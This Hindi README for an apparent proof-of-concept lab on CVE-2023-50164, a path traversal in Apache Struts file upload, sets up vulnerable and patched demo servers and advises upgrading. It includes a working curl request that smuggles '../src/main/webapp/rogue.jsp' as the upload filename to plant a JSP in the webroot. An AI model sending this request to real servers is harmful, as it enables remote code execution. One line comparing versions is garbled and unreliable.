
CVE-2023-50164 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Apache Struts में एक पथ ट्रैवर्सल भेद्यता जो रिमोट कोड निष्पादन की ओर ले जाती है। परीक्षण और सीखने के लिए कमजोर और पैच किए गए डेमो वातावरण शामिल हैं।
यह CVE-2023-50164 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) है, जो एक नई पाथ ट्रैवर्सल भेद्यता की रूपरेखा प्रस्तुत करता है, जो struts-core में रिमोट कोड एक्ज़ीक्यूशन (RCE) का कारण बन सकती है।
समस्या को दूर करने के लिए, यह सलाह दी जाती है कि आप Struts 2.5.33 या Struts 6.3.0.2 या उससे नए संस्करण में अपडेट करें।
यह रिपॉजिटरी Henrik Plate के उत्कृष्ट कार्य पर आधारित है, जो यहाँ पाया जा सकता है।
इस प्रोजेक्ट में दो मावेन प्रोफाइल हैं: vuln और no-vuln। vuln डिफ़ॉल्ट है।
RCE भेद्यता सहित चलाने के लिए, निम्नलिखित निष्पादित करें:
mvn clean jetty:run -P vuln
RCE भेद्यता बिना चलाने के लिए, निम्नलिखित निष्पादित करें:
mvn clean jetty:run -P no-vuln
दोनों प्रोफाइलों के बीच अंतर यह है कि vuln struts-core संस्करण का उपयोग करता है (जिसमें पाथ ट्रैवर्सल भेद्यता है) और संस्करण का उपयोग करता है (जिसमें पाथ ट्रैवर्सल भेद्यता नहीं है)।
6.3.0.1no-vulnstruts-core6.3.0.2ऊपर वर्णित vuln प्रोफाइल को चलाते समय, निम्नलिखित निष्पादित करें:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
आप rogue.jsp फ़ाइल को src/main/webapp फ़ोल्डर में देख पाएंगे और आप इसे यहाँ ब्राउज़ कर सकते हैं: http://localhost:9999/struts-vuln-poc/rogue.jsp (आपको Ya been PWNED! संदेश दिखाई देगा)।
एक कोड फिक्स समाधान है जो पुराने Struts संस्करणों के साथ काम करता है, लेकिन, फिर भी आपके Struts संस्करण को अपडेट करने की अत्यधिक सलाह दी जाती है।
कोड फिक्स को आज़माने के लिए, निम्नलिखित निष्पादित करें:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
आपको एक त्रुटि संदेश दिखाई देगा: Attempted path traversal attack
नोट: यदि आप no-vuln प्रोफाइल का उपयोग करते हैं, तो आपको /upload-no-vuln एंडपॉइंट से कोई त्रुटि संदेश नहीं मिलेगा, भले ही आप ../src/main/webapp/rogue.jsp जैसे सापेक्ष पथ का उपयोग करें, क्योंकि struts का नया संस्करण स्वचालित रूप से सापेक्ष पथ संदर्भों को हटा देता है।